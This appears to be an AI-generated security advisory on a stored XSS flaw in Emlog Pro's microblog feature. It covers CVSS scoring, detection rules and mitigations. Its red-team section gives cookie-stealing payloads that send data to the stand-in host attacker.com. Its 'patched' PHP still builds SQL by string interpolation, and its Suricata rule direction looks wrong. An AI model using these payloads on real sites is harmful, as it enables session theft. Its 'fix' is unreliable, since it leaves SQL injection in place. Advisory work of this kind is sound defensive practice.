CVE-2025-61599

Executive Summary

CVE-2025-61599 is a stored Cross-Site Scripting (XSS) vulnerability in the Emlog Pro content management system, specifically within the "Twitter" (microblogging) feature. An authenticated attacker with the ability to post a "Twitter" message can inject arbitrary JavaScript code. This malicious script is stored on the server and executed in the browser of any user—including administrators—who views the malicious post. The vulnerability affects Emlog Pro version 2.5.21 and below. As of this report, no official patch has been released, leaving all installations of the affected versions at risk.

Supply Chain & Package Security

Emlog is a PHP-based open-source website building system. The vulnerability exists in the core application code, not in a third-party package or dependency. However, the lack of a patch means that users must rely on manual mitigation or custom security controls. The risk is elevated because the attack vector is authenticated, but the impact is amplified by the fact that any user (including admins) can be targeted, potentially leading to session hijacking, credential theft, or further compromise of the CMS.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – The attacker must have an account with the ability to post "Twitter" messages.
• User Interaction (UI): Required – The victim must click on the malicious post.
• Scope (S): Changed – The vulnerability can impact resources beyond the vulnerable component (e.g., the admin's session).
• Confidentiality (C): Low – Limited data exposure (e.g., cookies, tokens).
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No impact on availability.

Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the stored nature of the XSS and the potential for privilege escalation (e.g., admin session hijacking) make this a significant threat for Emlog installations.

Deep Dive & Mechanics

The vulnerability resides in the "Twitter" feature of Emlog Pro, which allows users to post short messages (similar to a microblog). The application fails to properly sanitize or encode user-supplied input before storing it in the database and later rendering it in the browser.

Attack Flow:

1. An authenticated attacker navigates to the "Twitter" posting interface.
2. The attacker crafts a message containing malicious JavaScript, e.g., <script>alert('XSS')</script>.
3. The application stores this payload in the database without sanitization.
4. When any user (including an administrator) views the list of "Twitter" posts and clicks on the malicious post to expand or view it, the stored script is executed in their browser context.
5. The attacker can then steal cookies, session tokens, or perform actions on behalf of the victim.

Root Cause: The input is not sanitized using functions like htmlspecialchars() or strip_tags() before being stored or rendered. The output is also not encoded, allowing raw HTML/JavaScript to be injected.

Vulnerable vs. Patched Code

Since no official patch exists, the following is a hypothetical fix based on standard XSS prevention.

Vulnerable Code (PHP):

// In the Twitter posting handler (e.g., twitter.php)
$content = $_POST['content'];
$db->query("INSERT INTO twitter (content, user_id) VALUES ('$content', '$user_id')");

Patched Code (Hypothetical):

// Sanitize input before storing
$content = htmlspecialchars($_POST['content'], ENT_QUOTES, 'UTF-8');
$db->query("INSERT INTO twitter (content, user_id) VALUES ('$content', '$user_id')");

Explanation: The vulnerable code directly inserts user input into the database without any sanitization. The patched code uses htmlspecialchars() to convert special characters (like <, >, ", ', &) into their HTML entities, preventing them from being interpreted as code.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A valid user account on an Emlog Pro 2.5.21 (or below) instance.
• Access to the "Twitter" posting feature.

Exploit Steps:

1. Log in to the Emlog admin panel.
2. Navigate to the "Twitter" section (e.g., /admin/twitter.php).
3. Post a message containing a malicious payload. Example:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Wait for an administrator or other user to click on the post.
5. The victim's browser executes the script, sending their cookies to the attacker's server.

Alternative Payload (Session Hijacking):

<img src=x onerror="fetch('http://attacker.com/steal?c='+document.cookie)">

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual "Twitter" posts containing HTML tags or JavaScript.
• Use a Web Application Firewall (WAF) to block requests with <script> tags in the content parameter.
• Review server logs for requests to external domains from the Emlog application.

Prevention (until patch is available):

• Disable the "Twitter" feature if not essential.
• Implement a custom input filter that strips all HTML tags from "Twitter" posts.
• Use Content Security Policy (CSP) headers to restrict script execution.
• Enforce strict session handling (e.g., HttpOnly, Secure flags on cookies).

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to unknown or suspicious domains from the Emlog server.
  • Requests containing document.cookie or fetch in the Referer header (if logged).
• File IOCs:
  • Modified or new files in the Emlog installation directory (e.g., backdoors uploaded via XSS).
• Log IOCs:
  • Entries in the Emlog access log showing POST requests to /admin/twitter.php with content containing <script> or onerror attributes.
• Behavioral IOCs:
  • Unauthorized admin actions (e.g., user creation, plugin installation) performed by non-admin accounts.

Detection Engineering

YARA Rule

rule CVE_2025_61599_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads targeting Emlog Pro Twitter feature"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-61599"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $xss4 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Emlog Pro Twitter Feature
id: 7b8c9d0e-1f2a-3b4c-5d6e-7f8a9b0c1d2e
status: experimental
description: Detects attempts to exploit CVE-2025-61599 by posting malicious JavaScript in Twitter messages
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/twitter.php'
        cs-uri-query|contains: 'content='
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in Twitter posts (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-61599 Stored XSS in Emlog Pro Twitter Feature"; flow:to_server,established; content:"POST"; http_method; content:"/admin/twitter.php"; http_uri; content:"content="; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Twitter feature in Emlog Pro until a patch is available. This can be done by removing or renaming the twitter.php file or by modifying the application configuration.
2. Implement a WAF rule to block requests containing <script> tags in the content parameter.
3. Review user accounts and remove any suspicious users who may have been created via XSS.

Long-term Fix:

• The vendor (Emlog) must release a patch that properly sanitizes user input in the Twitter feature. The fix should use htmlspecialchars() or a similar function on all user-supplied data before storage and output.
• Until then, consider using a third-party security plugin or custom code to filter input.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.